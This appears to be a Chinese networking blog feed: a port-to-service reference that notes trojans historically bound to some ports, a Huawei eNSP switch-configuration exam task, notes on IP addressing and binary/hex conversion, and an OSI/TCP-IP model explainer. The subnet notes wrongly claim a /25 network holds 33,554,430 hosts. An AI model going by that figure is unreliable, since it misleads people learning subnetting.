396端口:Novell(美国Novell公司)Netware(Novell公司出的网络操作系统)over IP 400端口:工作站解决方案 401端口:持续电源 402端口:Genie协议 406端口:交互式邮件支持协议 408端口:Prospero资源管理程序 409端口:Prospero资源节点管理. 410端口:DEC(数据设备公司)远程调试协议 411端口:远程MT协议 412端口:陷阱协定端口 413端口:存储管理服务协议 414端口:信息查询 415端口:B网络 423端口:IBM操作计划和控制开端 424端口:IBM操作计划和控制追踪 425端口:智能计算机辅助设计 427端口:服务起位置 434端口:移动ip代理 435端口:移动ip管理 443端口:基于TLS/SSL的网页浏览端口,能提供加密和通过安全端口传输的另一种HTTP 444端口:简单网络内存分页协议 445端口:Microsoft-DS,为共享开放,震荡波病毒利用,一般应关闭 446端口:DDM-远程关系数据库访问 447端口:DDM-分布式文件管理 448端口:DDM-使用安全访问远程数据库 456端口:木马HACKERS PARADISE开放此端口 458端口:apple quick time软件开放端口 459端口:ampr-rcmd命令 464端口:k密码服务 469端口:广播控制协议 470端口:scx-代理 472端口:ljk-登陆 481端口:Ph服务 487端口:简单异步文件传输 489端口:nest-协议 491端口:go-登陆 499端口:ISO ILL协议 500端口:Internet密钥交换,Lsass开放端口,不能关闭 509端口:陷阱 510端口:FirstClass协议 512端口:远程进程执行 513端口:远程登陆 514端口:cmd命令 515端口:spooler 516端口:可视化数据 518端口:交谈 519端口:unix时间 520端口:扩展文件名称服务器 525端口:时间服务 526端口:新日期 529端口:在线聊天系统服务 530端口:远程过程调用 531端口:聊天 532端口:读新闻 533端口:紧急广播端口 534端口:MegaMedia管理端 537端口:网络流媒体协议 542端口:商业 543端口:Kerberos(软件)v4/v5 544端口:krcmd命令 546端口:DHCPv6 客户端 547端口:DHCPv6 服务器 552端口:设备共享 554端口:Real Time Stream控制协议 555端口:木马PhAse1.0、Stealth Spy、IniKiller开放此端口 556端口:远距离文件服务器 563端口:基于TLS/SSL的网络新闻传输协议 564端口:plan 9文件服务 565端口:whoami查询 566端口:streettalk 567端口:banyan-rpc(远程过程调用) 568端口:DPA成员资格 569端口:MSN成员资格 570端口:demon(调试监督程序) 571端口:udemon(调试监督程序) 572端口:声纳 573端口:banyan-贵宾 574端口:FTP软件代理系统 581端口:Bundle Discovery 协议 582端口:SCC安全 583端口:Philips视频会议 584端口:密钥服务器 585端口:IMAP4+SSL (Use 993 instead) 586端口:密码更改 587端口:申请 589端口:Eye连结 595端口:CAB协议 597端口:PTC名称服务 598端口:SCO网络服务器管理3 599端口:Aeolon Core协议 600端口:Sun IPC(进程间通讯)服务器 601端口:可靠系统登陆服务 604端口:通道 606端口:Cray统一资源管理 608端口:发送人-传递/提供 文件传输器 609端口:npmp-陷阱 610端口:npmp-本地 611端口:npmp-gui( 图形用户界面) 612端口:HMMP指引 613端口:HMMP操作 614端口:SSL(加密套接字协议层)shell(壳) 615端口:Internet配置管理 616端口:SCO(Unix系统)系统管理服务器 617端口:SCO桌面管理服务器 619端口:Compaq(康柏公司)EVM 620端口:SCO服务器管理 623端口:ASF远程管理控制协议 624端口:Crypto管理 631端口:IPP (Internet打印协议) 633端口:服务更新(Sterling软件) 637端口:局域网服务器 641端口:repcmd命令 647端口:DHCP(动态主机配置协议)Failover 648端口:注册登记协议(RRP) 649端口:Cadview-3d软件协议 666端口:木马Attack FTP、Satanz Backdoor开放此端口 808端口:ccproxy http/gopher/ftp (over http)协议 1001端口:木马Silencer,WebEx开放端口 1011端口:木马Doly开放端口 1024端口:动态端口的开始,木马yai开放端口 1025端口:inetinfo.exe(互联网信息服务)木马netspy开放端口 1026端口:inetinfo.exe(互联网信息服务) 1027端口:应用层网关服务 1030端口:应用层网关服务 1031端口:BBN IAD 1033端口:本地网络信息端口 1034端口:同步通知 1036端口:安全部分传输协议 1070端口:木马Psyber Stream,Streaming Audio开放端口 1071端口:网络服务开放端口 1074端口:网络服务开放端口 1080端口:Socks这一协议以通道方式穿过防火墙,允许防火墙后面的人通过一个IP地址访问INTERNET 1110端口:卡巴斯基反病毒软件开放此端口 1125端口:卡巴斯基反病毒软件开放此端口 1203端口:许可证生效端口 1204端口:登陆请求监听端口 1206端口:Anthony数据端口 1222端口:SNI R&D网络端口 1233端口:普遍的附录服务器端口 1234端口:木马SubSeven2.0、Ultors Trojan开放此端口 1243端口:木马SubSeven1.0/1.9开放此端口 1245端口:木马Vodoo,GabanBus,NetBus,Vodoo开放此端口 1273端口:EMC-网关端口 1289端口:JWalk服务器端口 1290端口:WinJa服务器端口 1333端口:密码策略(网络服务)(svchost.exe) 1334端口:网络服务(svchost.exe) 1335端口:数字公正协议 1336端口:即时聊天协议(svchost.exe) 1349端口:注册网络协议端口 1350端口:注册网络协议端口 1371端口:富士通配置协议端口 1372端口:富士通配置协议端口 1374端口:EPI软件系统端口 1376端口:IBM个人-个人软件端口 1377端口:Cichlid许可证管理端口 1378端口:Elan许可证管理端口 1380端口:Telesis网络许可证管理端口 1381端口:苹果网络许可证管理端口 1386端口:CheckSum 许可证管理端口 1387端口:系统开放端口(rundll32.exe) 1388端口:数据库高速缓存端口 1389端口:文档管理端口 1390端口:存储控制器端口 1391端口:存储器存取服务器端口 1392端口:打印管理端口 1393端口:网络登陆服务器端口 1394端口:网络登陆客户端端口 1395端口:PC工作站管理软件端口 1396端口:DVL活跃邮件端口 1397端口:音频活跃邮件端口 1398端口:视频活跃邮件端口 1399端口:Cadkey许可证管理端口 1433端口:Microsoft的SQL服务开放端口 1434端口:Microsoft的SQL服务监视端口 1492端口:木马FTP99CMP开放此端口 1509端口:木马Psyber Streaming Server开放此端口 1512端口:Microsoft Windows网络名称服务 1524端口:许多攻击脚本安装一个后门SHELL于这个端口 1600端口:木马Shivka-Burka开放此端口 1645端口:远程认证拨号用户服务 1701端口:第2层隧道协议 1731端口:NetMeeting音频调用控制 1801端口:Microsoft消息队列服务器 1807端口:木马SpySender开放此端口 1900端口:可被利用ddos攻击,一般关闭 1912端口:金山词霸开放此端口 1981端口:木马ShockRave开放此端口 1999端口:木马BackDoor,yai开放此端口 2000端口:木马GirlFriend 1.3、Millenium 1.0开放此端口 2001端口:木马Millenium 1.0、Trojan Cow,黑洞2001开放此端口 2003端口:GNU 查询 2023端口:木马Pass Ripper开放此端口 2049端口:NFS程序常运行于此端口 2115端口:木马Bugs开放此端口 2140端口:木马Deep Throat 1.0/3.0,The Invasor开放此端口 2500端口:应用固定端口会话复制的RPC客户 2504端口:网络平衡负荷 2565端口:木马Striker开放此端口 2583端口:木马Wincrash 2.0开放此端口 2801端口:木马Phineas Phucker开放此端口 2847端口:诺顿反病毒服务开放此端口 3024端口:木马WinCrash开放此端口 3128端口:squid http代理服务器开放此端口 3129端口:木马Master Paradise开放此端口 3150端口:木马The Invasor,deep throat开放此端口 3210端口:木马SchoolBus开放此端口 3306端口:MySQL开放此端口 3333端口:木马Prosiak开放此端口 3389端口:WINDOWS 2000终端开放此端口 3456端口:inetinfo.exe(互联网信息服务)开放端口,VAT默认数据 3457端口:VAT默认控制 3527端口:Microsoft消息队列服务器 3700端口:木马Portal of Doom开放此端口 3996端口:木马RemoteAnything开放此端口 4000端口:腾讯QQ客户端开放此端口 4060端口:木马RemoteAnything开放此端口 4092端口:木马WinCrash开放此端口 4133端口:NUTS Bootp服务器 4134端口:NIFTY-Serve HMI协议 4141端口:Workflow服务器 4142端口:文档服务器 4143端口:文档复制 4145端口:VVR控制 4321端口:远程Who Is查询 4333端口:微型sql服务器 4349端口:文件系统端口记录 4350端口:网络设备 4351端口:PLCY网络服务 4453端口:NSS警报管理 4454端口:NSS代理管理 4455端口:PR聊天用户 4456端口:PR聊天服务器 4457端口:PR注册 4480端口:Proxy+ HTTP代理端口 4500端口:Lsass开放端口,不能关闭 4547端口:Lanner许可管理 4555端口:RSIP端口 4590端口:木马ICQTrojan开放此端口 4672端口:远程文件访问服务器 4752端口:简单网络音频服务器 4800端口:Icona快速消息系统 4801端口:Icona网络聊天 4802端口:Icona许可系统服务器 4848端口:App服务器-Admin HTTP 4849端口:App服务器-Admin HTTPS 4950端口:木马IcqTrojan开放5000端口 5000端口:木马blazer5,Sockets de Troie开放5000端口,一般应关闭 5001端口:木马Sockets de Troie开放5001端口 5006端口:wsm服务器 5007端口:wsm服务器ssl 5022端口:mice服务器 5050端口:多媒体会议控制协议 5051端口:ITA代理 5052端口:ITA管理 5137端口:MyCTS服务器端口 5150端口:Ascend通道管理协议 5154端口:BZFlag游戏服务器 5190端口:America-Online(美国在线) 5191端口:AmericaOnline1(美国在线) 5192端口:AmericaOnline2(美国在线) 5193端口:AmericaOnline3(美国在线) 5222端口:Jabber客户端连接 5225端口:HP(惠普公司)服务器 5226端口:HP(惠普公司) 5232端口:SGI绘图软件端口 5250端口:i网关 5264端口:3Com网络端口1 5265端口:3Com网络端口2 5269端口:Jabber服务器连接 5306端口:Sun MC组 5321端口:木马Sockets de Troie开放5321端口 5400端口:木马Blade Runner开放此端口 5401端口:木马Blade Runner开放此端口 5402端口:木马Blade Runner开放此端口 5405端口:网络支持 5409端口:Salient数据服务器 5410端口:Salient用户管理 5415端口:NS服务器 5416端口:SNS网关 5417端口:SNS代理 5421端口:网络支持2 5423端口:虚拟用户 5427端口:SCO-PEER-TTA(Unix系统) 5432端口:PostgreSQL数据库 5550端口:木马xtcp开放此端口 5569端口:木马Robo-Hack开放此端口 5599端口:公司远程安全安装 5600端口:公司安全管理 5601端口:公司安全代理 5631端口:pcANYWHERE(软件)数据 5632端口:pcANYWHERE(软件)数据 5673端口:JACL消息服务器 5675端口:V5UA应用端口 5676端口:RA管理 5678端口:远程复制代理连接 5679端口:直接电缆连接 5720端口:MS-执照 5729端口:Openmail用户代理层 5730端口:Steltor's日历访问 5731端口:netscape(网景)suiteware 5732端口:netscape(网景)suiteware 5742端口:木马WinCrash1.03开放此端口 5745端口:fcopy-服务器 5746端口:fcopys-服务器 5755端口:OpenMail(邮件服务器)桌面网关服务器 5757端口:OpenMail(邮件服务器)X.500目录服务器 5766端口:OpenMail (邮件服务器)NewMail服务器 5767端口:OpenMail (邮件服务器)请求代理曾(安全) 5768端口:OpenMail(邮件服务器) CMTS服务器 5777端口:DALI端口 5800端口:虚拟网络计算 5801端口:虚拟网络计算 5802端口:虚拟网络计算HTTP访问, d 5803端口:虚拟网络计算HTTP访问, d 5900端口:虚拟网络计算机显示0 5901端口:虚拟网络计算机显示1 5902端口:虚拟网络计算机显示2 5903端口:虚拟网络计算机显示3 6000端口:X Window 系统 6001端口:X Window 服务器 6002端口:X Window 服务器 6003端口:X Window 服务器 6004端口:X Window 服务器 6005端口:X Window 服务器 6006端口:X Window 服务器 6007端口:X Window 服务器 6008端口:X Window 服务器 6009端口:X Window 服务器 6379端口:Redis数据库端口 6456端口:SKIP证书发送 6471端口:LVision许可管理器 6505端口:BoKS管理私人端口 6506端口:BoKS管理公共端口 6507端口:BoKS Dir服务器,私人端口 6508端口:BoKS Dir服务器,公共端口 6509端口:MGCS-MFP端口 6510端口:MCER端口 6566端口:SANE控制端口 6580端口:Parsec主服务器 6581端口:Parsec对等网络 6582端口:Parsec游戏服务器 6588端口:AnalogX HTTP代理端口 6631端口:Mitchell电信主机 6667端口:Internet多线交谈 6668端口:Internet多线交谈 6670端口:木马Deep Throat开放此端口 6671端口:木马Deep Throat 3.0开放此端口 6699端口:Napster文件(MP3)共享服务 6701端口:KTI/ICAD名称服务器 6788端口:SMC软件-HTTP 6789端口:SMC软件-HTTPS 6841端口:Netmo软件默认开放端口 6842端口:Netmo HTTP服务 6883端口:木马DeltaSource开放此端口 6939端口:木马Indoctrination开放此端口 6969端口:木马Gatecrasher、Priority开放此端口 6970端口:real音频开放此端口 7000端口:木马Remote Grab开放此端口 7002端口:使用者& 组 数据库 7003端口:音量定位数据库 7004端口:AFS/Kerberos认证服务 7005端口:音量管理服务 7006端口:错误解释服务 7007端口:Basic监督进程 7008端口:服务器-服务器更新程序 7009端口:远程缓存管理服务 7011端口:Talon软件发现端口 7012端口:Talon软件引擎 7013端口:Microtalon发现 7014端口:Microtalon通信 7015端口:Talon网络服务器 7020端口:DP服务 7021端口:DP服务管理 7100端口:X字型服务 7121端口:虚拟原型许可证管理 7300端口:木马NetMonitor开放此端口 7301端口:木马NetMonitor开放此端口 7306端口:木马NetMonitor,NetSpy1.0开放此端口 7307端口:木马NetMonitor开放此端口 7308端口:木马NetMonitor开放此端口 7323端口:Sygate服务器端 7511端口:木马聪明基因开放此端口 7588端口:Sun许可证管理 7597端口:木马Quaz开放此端口 7626端口:木马冰河开放此端口 7633端口:PMDF管理 7674端口:iMQ SSL通道 7675端口:iMQ通道 7676端口:木马Giscier开放此端口 7720端口:Med图象入口 7743端口:Sakura脚本传递协议 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9800端口:WebDav源端口 9801端口:Sakura脚本转移协议-2 9802端口:WebDAV Source TLS/SSL 9872端口:木马Portal of Doom开放此端口 9873端口:木马Portal of Doom开放此端口 9874端口:木马Portal of Doom开放此端口 9875端口:木马Portal of Doom开放此端口 9899端口:木马InIkiller开放此端口 9909端口:域名时间 9911端口:SYPECom传送协议 9989端口:木马iNi-Killer开放此端口 9990端口:OSM Applet程序服务器 9991端口:OSM事件服务器 10000端口:网络数据管理协议 10001端口:SCP构造端口 10005端口:安全远程登陆 10008端口:Octopus多路器 10067端口:木马iNi-Killer开放此端口 10113端口:NetIQ端点 10115端口:NetIQ端点 10116端口:NetIQVoIP鉴定器 10167端口:木马iNi-Killer开放此端口 11000端口:木马SennaSpy开放此端口 11113端口:金山词霸开放此端口 11233端口:木马Progenic trojan开放此端口 12076端口:木马Telecommando开放此端口 12223端口:木马Hack'99 KeyLogger开放此端口 12345端口:木马NetBus1.60/1.70、GabanBus开放此端口 12346端口:木马NetBus1.60/1.70、GabanBus开放此端口 12361端口:木马Whack-a-mole开放此端口 13223端口:PowWow 客户端,是Tribal Voice的聊天程序 13224端口:PowWow 服务器,是Tribal Voice的聊天程序 16959端口:木马Subseven开放此端口 16969端口:木马Priority开放此端口 17027端口:外向连接 19191端口:木马蓝色火焰开放此端口 20000端口:木马Millennium开放此端口 20001端口:木马Millennium开放此端口 20034端口:木马NetBus Pro开放此端口 22122端口:fastdfs服务器默认端口 21554端口:木马GirlFriend开放此端口 22222端口:木马Prosiak开放此端口 23444端口:木马网络公牛开放此端口 23456端口:木马Evil FTP、Ugly FTP开放此端口 25793端口:Vocaltec地址服务器 26262端口:K3软件-服务器 26263端口:K3软件客户端 26274端口:木马Delta开放此端口 27017端口:mongoDB数据库默认端口 27374端口:木马Subseven 2.1开放此端口 30100端口:木马NetSphere开放此端口 30129端口:木马Masters Paradise开放此端口 30303端口:木马Socket23开放此端口 30999端口:木马Kuang开放此端口 31337端口:木马BO(Back Orifice)开放此端口 31338端口:木马BO(Back Orifice),DeepBO开放此端口 31339端口:木马NetSpy DK开放此端口 31666端口:木马BOWhack开放此端口 31789端口:Hack-a-tack 32770端口:sun solaris RPC服务开放此端口 33333端口:木马Prosiak开放此端口 33434端口:路由跟踪 34324端口:木马Tiny Telnet Server、BigGluck、TN开放此端口 36865端口:KastenX软件端口 38201端口:Galaxy7软件数据通道 39681端口:TurboNote默认端口 40412端口:木马The Spy开放此端口 40421端口:木马Masters Paradise开放此端口 40422端口:木马Masters Paradise开放此端口 40423端口:木马Masters Paradise开放此端口 40426端口:木马Masters Paradise开放此端口 40843端口:CSCC 防火墙 43210端口:木马SchoolBus 1.0/2.0开放此端口 43190端口:IP-PROVISION 44321端口:PCP服务器(pmcd) 44322端口:PCP服务器(pmcd)代理 44334端口:微型个人防火墙端口 44442端口:ColdFusion软件端口 44443端口:ColdFusion软件端口 44445端口:木马Happypig开放此端口 45576端口:E代时光专业代理开放此端口 47262端口:木马Delta开放此端口 47624端口:Direct Play服务器 47806端口:ALC协议 48003端口:Nimbus网关 50505端口:木马Sockets de Troie开放此端口 50766端口:木马Fore开放此端口 53001端口:木马Remote Windows Shutdown开放此端口 54320端口:木马bo2000开放此端口 54321端口:木马SchoolBus 1.0/2.0开放此端口 61466端口:木马Telecommando开放此端口 65000端口:木马Devil 1.03开放此端口 65301端口:PC Anywhere软件开放端口{/collapse-item}{/collapse}
2022年09月17日
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2022-09-07
【网络通信】eNSP技能考核作业
试题编号:J1-1:交换机设备安装与调试1.A公司网络规划如下图所示,要求内网各部门要有业务分割,又能相互访问。请配置好相关设备并调试通畅,公司网络IP地址分配如下:配置信息VLAN规划 VLAN编号部门员工数子网号网关地址子网掩码VLAN10财务部52192.168.1.0192.168.1.62255.255.255.192VLAN20市场部48192.168.1.64192.168.1.126255.255.255.192VLAN30行政部32192.168.1.128192.168.1.190255.255.255.192VLAN40研发部16192.168.1.192192.168.1.254255.255.255.192管理VLAN VLAN编号网络地址子网掩码VLAN1192.168.2.1255.255.255.192PC编号IP地址子网掩码PC1192.168.1.1255.255.255.192PC2192.168.1.65255.255.255.192PC3192.168.1.129255.255.255.192PC4192.168.1.193255.255.255.192任务一:网络设备互联(10分)①选择合适的网络互联设备进行组网,根据考场实际情况使用真实设备或者使用模拟器完成。(4分)②选择合适的连接线缆,用于连接网络设备。(3分)③根据需要,把网线连接到各网络设备接口上,注意:交换机S1的1与交换机S2的1口相连,交换机S1的2口与交换机S3的2口相连,交换机S2的3口与交换机S3的3口相连。(3分)第二部分:交换机基本配置(30分)任务二:交换机基本配置(30分)①交换机S1配置主机名为S1,交换机S2配置主机名为S2,交换机S3配置主机名为S3。(6分)②在交换机S1上配置CONSOLE口登录口令为class,进入系统视图口令为huawei。(6分)③在交换机S1上配置管理IP,并开启SSH远程登陆功能:域cisco.com、用户名Admin和密码abcde、密钥长度1024、SSH版本2。(12分)④在交换机S1上使用适当的标语文本警告未经授权的访问。以下是示例文本:Authorized access only.Violators will be prosecuted to the full extent of the law.(3分)⑤保存到目前为止的配置信息,防止掉电丢失。(3分)第三部分:交换机功能配置(45分)任务三:划分vlan(26分)①根据需求,在交换机S1上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)②根据需求,在交换机S2上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)③根据需求,在交换机S3上划分vlan,创建vlan10,vlan20,vlan30,vlan40。(4分)④在交换机S2上把F0/11-15放到vlan10,F0/16-20放到vlan20。(4分)⑤在交换机S3上把F0/11-15放到vlan30,F0/16-20放到vlan40。(4分)⑥交换机S1的F0/1、F0/2与交换机S2的F0/1、F0/3设置为trunk。(4分)⑦把交换机S3的F0/2、F0/3设置为trunk。(2分)任务四:配置生成树(9分)①将交换机S1配置为根网桥。(9分)任务五:不同vlan之间的通信(10分)①在交换机S1中开启路由功能,同时给每个SVI接口配置IP地址,作为对应VLAN的网关地址。(10分)拓扑图搭建PC1 连接S1交换机 配置Console登录密码<tianzhihua_s1>system-view // 进入系统视图 [tianzhihua_s1]user-interface console 0 // 配置console口 [tianzhihua_s1-ui-console0]set authentication password cipher class // 设置密码为class超级密码<tianzhihua_s1>system-view [Huawei]super password cipher huawei进入交换机三种方案console // 终端口 vty // 都走这两种协议 telnet、ssh web // 网页控制
2022年09月07日
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2022-08-04
【网络通信】IP地址与进制计算 ( 总结 )
IP地址IP地址是一个32位的二进制数,通常被分割为4个 "8位二进制数" (也就是4个字节)。通常用 "点分十进制" 表示成(A.B.C.D)的形式,其中A、B、C、D都是0~255之间的十进制整数。在一个子网中第一个和最后一个为保留地址,所以在一般情况局域网中可使用的IP为1~254。IP类别网络标识可支持网络数目主机标识每个网络支持主机数A类前8位(左第一个为0)2^7-2=126后24位256^3-2=16777214B类前16位(左前两个为10)2^14=16384后16位256^2-2=65534C类前24位(左前三个为110)2^21=2097152后8位256-2=254D类IP地址范围从224.0.0.0 - 239.255.255.255D类IP地址为组播地址,一般用于多路广播用户E类IP地址范围为240.0.0.0 - 255.255.255.255此类为保留地址,留待特殊用途// 全部1十进制那就是255 A:00000000 ~ 01111111 64 + 32 + 16 + 8 + 4 + 2 + 1 // 加起来就是结果127 B:10000000 ~ 10111111 128 32 16 8 4 2 1 C:11000000 ~ 11011111 128 64 16 8 4 2 1 D:11100000 ~ 11101111 128 64 32 8 4 2 1 E:11110000 ~ 11111111 128 64 32 16 8 4 2 1 把是的1加起来就行了等于127,0是一个保留地址,127是一个测试地址。 A类地址范围:1 ~ 126 // 大型网络 B类地址范围:128 ~ 191 // 中型网络 C类地址范围:192 ~ 223 // 小型网络 D类地址范围:224 ~ 239 // 广播地址(路由器用的) E类地址范围:240 ~ 255 // 实验保留(我们用不到)子网掩码简单来说将一个IP地址区分为,网络位和主机位,同一网络位的IP地址能互相通信,不需要通过网关,如果是不同的网络位IP地址进行通信,就需要网关路由转发。192.168.1.0 // C类IP地址 255.255.255.0 // 子网掩码24位 255转二进制是8个1,这里有3组8 3*8=24 11111111.11111111.11111111.00000000 // 连续的1对应的是网络号和子网号 0是主机位 // 地址从 256 - 2 = 254 可以存储1 ~ 254个主机 202.136.10.20 // 20转二进制 00010100 255.255.255.128 // 128转二进制 10000000 20:00010100 // 进行与运算 两个是1那么就是1 一个不是1那就是0 128:10000000 // 两个真那就是真一个真一个假那就是假 可以发现都没对上那就是0 202.136.10.0 // 255全是1那么就是它本身直接写下来 与出来的结果是0加上 255.255.255 // 这个掩码是24位再加上10000000里有一位就是25掩码范围 202.136.10.0/25 // 能储存 2 ^ 25 - 2 = 33554430 个主机 在划分的ip地址中有两个地址是不能用的,那就是网络号和广播地址,所以这里要减去2。 255.255.255.1281.有一个子网计算工具,百度下就有可以很形象的看出来。进制表示有(十进制、二进制、八进制、十六进制)在日常生活中我们用的是十进制,一位的十进制数的范围是0~9如果要表示10,那么就要用两位的十进制数。二进制是计算机用的更适合逻辑运算 二进制只有两种状态1和0表示真和假 类似一个信号开和关一样。1 字节(B)=8 比特(bit)1个字节(Byte)等于8个bit位,每个bit位是0/1两种状态,也就是说一个字节可以表示256个状态,计算机里用字节来作为最基本的存储单位。字节间换算1kB = 1000B(字节, Byte)。1KB=1024B;1MB=1024KB=1024×1024B。1B(byte,字节)= 8 bit(见下文);1KB(Kilobyte,千字节)=1024B= 2^10 B;1MB(Megabyte,兆字节,百万字节,简称"兆")=1024KB= 2^20 B;1GB(Gigabyte,吉字节,十亿字节,又称"千兆")=1024MB= 2^30 B;4字节能存储多大的数字呢?有符号:2 ^ 31 - 1 = 2147483647 无符号:2 ^ 32 - 1 = 4294967295二进制转十进制01100000 转十进制是 96 怎么得出来的呢 很简单 按2的倍数开始计位如下: 0 1 1 0 0 0 0 0 128 64 32 16 8 4 2 1 有1的就把下面的倍数加起来就是了 64 + 32 = 96 这就是结果 十进制转二进制100 转二进制 快速反推思路 在64 ~ 1内多少加起来等于100 64 32 16 8 4 2 1 很显然 64 + 32 + 4 = 100 这样就得出来了 直接补上就是了 64 32 4 都是1其他的是0 最终结果:01100100 二进制转十六进制10:1 0 1 0 8 4 2 1 // 把是1的位数加起来就行 8 + 2 = 10 = A // 在16进制里10就A 38:0 0 1 1 1 0 0 0 // 4位为一组 后面有三个0 不用加0 因为四位一组 8 4 2 1 8 4 2 1 // 前4位2 + 1 = 3 后4位是8 拼接起来 3 + 8 = 38 // 十六进制 38二进制转八进制10:1 0 1 0 1 4 2 1 // 把是1的位数加起来就行 1 + 2 = 12 // 1和2拼接起来 70:0 0 1 1 1 0 0 0 // 3位为一组 有三个0 要加一个0 因为3位一组 2 1 4 2 1 4 2 1 // 前3位4 + 2 + 1 = 7 后3位是0 拼接起来 7 + 0 = 70 // 八进制 70
2022年08月04日
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2016-04-08
【网络通信】OSI七层模型和五层模型
TCP/IP五层模型在我们平时上网刷视频、发微信、逛淘宝,背后全靠TCP/IP五层模型在“默默干活”!这五层就像工厂的流水线,一层接一层处理数据,从用户点击操作到数据传到对方设备,每一层都有明确的分工,缺一不可。我把这五层的作用、协议和实际应用掰扯清楚,用大白话记下来,方便后续复习,也能搞懂平时上网遇到的一些小问题(比如ping不通、网页打不开可能出在哪个层)。先放一张OSI参考模型和TCP/IP五层模型的对应关系图,看着更直观——TCP/IP把OSI的应用层、表示层、会话层合并成了一层,更简洁实用:再补个详细对比表,把每层的核心作用也写上,一目了然:OSI参考模型TCP/IP五层模型核心作用应用层应用层直接对接用户App,比如微信、浏览器表示层-功能并入应用层,负责数据格式转换、加密等会话层-功能并入应用层,负责建立、维护通信会话传输层传输层确保数据在两台设备间“靠谱”传输网络层网络层给数据找路线,从源主机送到目标主机数据链路层数据链路层同一局域网内“送货上门”物理层物理层把数据变成电信号/光信号,通过网线、光纤传输第5层 应用层(最上层,直接对接用户)应用层是TCP/IP协议栈的“门面”,直接给咱们用的App提供服务接口。它不管数据怎么在网络上跑,只关心“用户要干什么”——比如浏览器要访问网页、微信要发消息、邮箱要发邮件,这些需求都由应用层来处理。简单说,应用层就是“App和网络的桥梁”,每个应用都有对应的协议,就像不同的快递有不同的快递规则:HTTP/HTTPS:网页浏览专用,比如打开百度、淘宝,用的就是这个协议;HTTPS比HTTP多了加密,支付、登录的时候用,更安全。FTP:文件传输协议,比如程序员往服务器上传代码、下载大文件,常用FTP。SMTP/POP3/IMAP:电子邮件协议,SMTP负责发邮件,POP3/IMAP负责收邮件,咱们用QQ邮箱、网易邮箱,背后就是这俩协议在干活。DNS:域名解析协议,这个超重要!咱们记网址(比如www.baidu.com)比记IP地址(比如180.101.49.11)容易多了,DNS就是把网址翻译成IP地址的“翻译官”,没有它,咱们得背一堆数字才能上网。其他常用协议:SSH(远程登录服务器,程序员常用)、Telnet(早期远程登录,现在基本被SSH取代,不安全)。我平时遇到的“网页打不开”,很多时候就是应用层的问题——比如DNS解析失败(网址翻译错了)、HTTP协议报错(404页面不存在、500服务器出错)。第4层 传输层(核心层,负责“靠谱传输”)应用层把数据交下来后,传输层的任务就是“把数据从源设备的App,靠谱地传到目标设备的App”。它就像快递员,不仅要把包裹送过去,还要确保包裹没丢、没坏、没顺序错乱。传输层主要靠两个核心协议,各有各的用处,按需选择:TCP(传输控制协议):“靠谱但稍慢”的协议,主打一个“万无一失”。它会建立连接(三次握手)、确认数据接收(对方收到会回复ACK)、重传丢失的数据、按顺序组装数据,还会做流量控制(避免发送太快导致对方处理不过来)和拥塞控制(避免网络堵车)。适用场景:需要高可靠性的应用,比如网购付款、网页加载、文件传输、电子邮件——总不能付款的时候数据丢了,或者收邮件的时候内容少了一半吧?UDP(用户数据报协议):“快速但不靠谱”的协议,主打一个“高效快捷”。它不建立连接、不确认接收、不重传数据,发出去就不管了,虽然可能丢包,但延迟极低。适用场景:对速度要求高、能容忍少量丢包的应用,比如直播、打游戏、视频通话——直播的时候偶尔卡一下、丢个帧不影响整体观看,要是用TCP,为了重传数据导致延迟,直播就没法看了。传输层还有个关键概念:端口号。比如一台电脑上同时开着微信、浏览器、QQ,传输层靠端口号区分这些App——浏览器用80端口(HTTP)、443端口(HTTPS),微信用自己的专属端口,这样数据才不会传错地方。第3层 网络层(路由层,负责“找路线”)传输层把数据交下来后,网络层的任务就是“给数据找一条从源主机到目标主机的路线”。它不管数据在App之间怎么传,也不管在局域网内怎么传,只关心“跨网络的路由选择”——比如从家里的电脑(连WiFi)发数据到百度的服务器(在遥远的机房),中间要经过路由器、网关、运营商网络,网络层就是这个“指路明灯”。网络层的核心协议和功能:IP协议(互联网协议):给每台设备分配唯一的“身份证”——IP地址(比如IPv4的192.168.1.1,IPv6的2001:0db8:85a3:0000:0000:8a2e:0370:7334),并根据IP地址选择路由。没有IP协议,数据就不知道该往哪儿跑,互联网就成了“无头苍蝇”。ICMP协议(互联网控制消息协议):网络的“故障报警器”,负责传输控制信息和错误报告。比如咱们常用的ping命令,就是通过ICMP协议发送请求包,如果对方能收到并回复,说明网络连通;如果收不到,可能是路由出问题了,或者对方设备不可达。路由选择:路由器就是网络层的核心设备,它会维护一张“路由表”,记录不同IP地址段对应的转发路径。比如从家里的电脑发数据到百度服务器,路由器会判断“这条数据要先发到小区网关,再到运营商机房,最后到百度服务器”。我平时遇到的“ping不通某个网站”,大概率是网络层的问题——比如IP地址配置错误、路由表出错、ICMP协议被防火墙屏蔽了。第2层 数据链路层(局域网层,负责“同城送货”)网络层确定了跨网络的路线后,数据链路层的任务就是“在同一局域网内,把数据从一台设备传到另一台设备”。它就像同城快递员,负责最后一公里的配送,确保数据在局域网内准确送达,不丢包、不错包。数据链路层的核心功能和协议:数据帧封装:把网络层传下来的IP数据包,加上帧头(包含源MAC地址、目标MAC地址)和帧尾(校验码),变成“数据帧”——就像给包裹套上一个同城配送的快递袋,写上收发地址。MAC地址:设备的“硬件身份证”,由网卡厂商烧录在网卡上,全球唯一(比如00:1C:42:18:60:E0)。在同一局域网内,数据链路层靠MAC地址识别设备,就像同城快递靠门牌号找人。错误检测与纠正:通过帧尾的校验码,检测数据在传输过程中是否出错(比如受到电磁干扰导致比特翻转),如果出错,会要求重传。常见协议:Ethernet(以太网),咱们家里的WiFi、办公室的网线,用的都是以太网协议;还有PPP协议(点对点协议,比如拨号上网)、HDLC协议(广域网常用)。数据链路层的核心设备是交换机,它会学习局域网内所有设备的MAC地址,然后根据MAC地址精准转发数据帧——比如电脑A要给电脑B发数据,交换机知道电脑B的MAC地址对应的端口,直接把数据帧发到那个端口,不会像集线器那样广播给所有设备,效率更高。第1层 